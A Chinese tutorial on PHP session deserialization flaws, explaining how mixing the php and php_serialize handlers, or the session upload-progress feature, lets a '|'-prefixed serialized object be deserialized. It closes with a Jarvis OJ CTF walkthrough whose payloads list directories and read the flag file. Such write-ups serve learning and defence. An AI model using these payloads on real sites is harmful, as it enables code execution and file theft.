session反序列化

先来了解一下关于session的一些基础知识

什么是session?
在计算机中，尤其是在网络应用中，称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样，当用户在应用程序的 Web 页之间跳转时，存储在 Session 对象中的变量将不会丢失，而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时，如果该用户还没有会话，则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后，服务器将终止该会话。

session是如何起作用的
当第一次访问网站时，Seesion_start()函数就会创建一个唯一的Session ID，并自动通过HTTP的响应头，将这个Session ID保存到客户端Cookie中。同时，也在服务器端创建一个以Session ID命名的文件，用于保存这个用户的会话信息。当同一个用户再次访问这个网站时，也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来，这时Session_start()函数就不会再去分配一个新的Session ID，而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件，将这之前为这个用户保存的会话信息读出，在当前脚本中应用，达到跟踪这个用户的目的。

除此之外，还需要知道session_start()这个函数已经这个函数所起的作用：
当会话自动开始或者通过 session_start() 手动开始的时候， PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据（即session文件）， PHP 会自动反序列化session文件的内容，并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据，则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID，则创建一个由32个字母组成的PHPSESSID，并返回set-cookie。

了解了有关session的概念后，还需要了解php.ini中一些Session配置

session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

这里我是在Windows上搭建的所以显示的路径为E盘，如果是在Linux上搭建的话，常见的php-session存放位置有：

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

想要知道为什么为出现这个session漏洞，就需要了解session机制中对序列化是如何处理的

php_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是，键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值

这个便是在相应的处理器处理下，session所存储的格式，这里举个例子来了解一下在不同的处理器下，session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4，不然session写不进文件))

<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

比如这里我get进去一个值为shy,查看一下各个存储格式：

php : lemon|s:3:"shy";
php_serialize : a:1:{s:5:"lemon";s:3:"shy";}
php_binary : lemons:3:"shy";

这有什么问题，其实PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。如：使用不同引擎来处理session文件。

使用不同的引擎来处理session文件

php引擎的存储格式是键名 | serialized_string，而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
下面就模仿师傅的操作学习一下

先以php_serialize的格式存储，从客户端接收参数并存入session变量

1.php

<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

接下来使用php引擎读取session文件

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name."!";
    }
}
?>

攻击思路：
首先访问1.php，在传入的参数最开始加一个'|'，由于1.php是使用php_serialize引擎处理，因此只会把'|'当做一个正常的字符。然后访问2.php，由于用的是php引擎，因此遇到'|'时会将之看做键名与值的分割符，从而造成了歧义，导致其在解析session文件时直接对'|'后的值进行反序列化处理。
这里可能会有一个小疑问，为什么在解析session文件时直接对'|'后的值进行反序列化处理，这也是处理器的功能？这个其实是因为session_start()这个函数，可以看下官方说明：

 首先生成一个payload：

3.php

<?php
    class student{
        var $name;
        var $age;
    }
    $a = new student();
    $a->name =  "daye";
    $a->age = "100";
    echo serialize($a);
?>

结果：

O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

攻击思路中说到了因为不同的引擎会对'|'，产生歧义，所以在传参时在payload前加个'|'，作为a参数

payload:

|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

访问1.php,查看一下本地session文件，发现payload已经存入到session文件

 

php_serialize引擎传入的payload作为lemon对应值，而php则完全不一样：

访问一下2.php看看会有什么结果

成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。

没有$_SESSION变量赋值

在PHP中还存在一个upload_process机制，即自动在$_SESSION中创建一个键值对，值中刚好存在用户可控的部分，可以看下官方描述的，这个功能在文件上传的过程中利用session实时返回上传的进度。

但第一次看到真的有点懵，这该怎么去利用，看了大师傅的博客才明白，这种攻击方法与上一部分基本相同，不过这里需要先上传文件，同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件，从中取出这个键。所以攻击点还是跟上一部分一模一样，程序还是使用了不同的session处理引擎。

实践一下，可以来看一道ctf题目

Jarvis OJ——PHPINFO

 

当我们随便传入一个值时，便会触发__construct()魔法函数，从而出现phpinfo页面，在phpinfo页面发现

发现默认的引擎是php-serialize，而题目所使用的引擎是php，因为反序列化和序列化使用的处理器不同，由于格式的原因会导致数据无法正确反序列化，那么就可以通过构造伪造任意数据。

观察代码会发现这段代码是没有$_SESSION变量赋值但符合使用不同的引擎来处理session文件，所以这里就使用到了php中的upload_process机制。

通过POST方法来构造数据传入$_SESSION，首先构造POST提交表单

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来构造序列化payload

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

将payload改为如下代码：

print_r(scandir(dirname(__FILE__)));
#scandir目录中的文件和目录
#dirname函数返回路径中的目录部分
#__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中，则返回被包含的文件名
#序列化后的结果
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义，在双引号前加上，除此之外还要加上|

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

在这个页面随便上传一个文件，然后抓包修改filename的值

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件，flag肯定在里面，但还有一个问题就是不知道这个路径，路径的问题就需要回到phpinfo页面去查看

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径，与 $_SERVER['SCRIPT_NAME'] 不同的

既然知道了路径，就继续构造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。

接下来的就还是序列化然后改一下格式传入即可，后面的就不再写了

参考：https://xz.aliyun.com/t/7366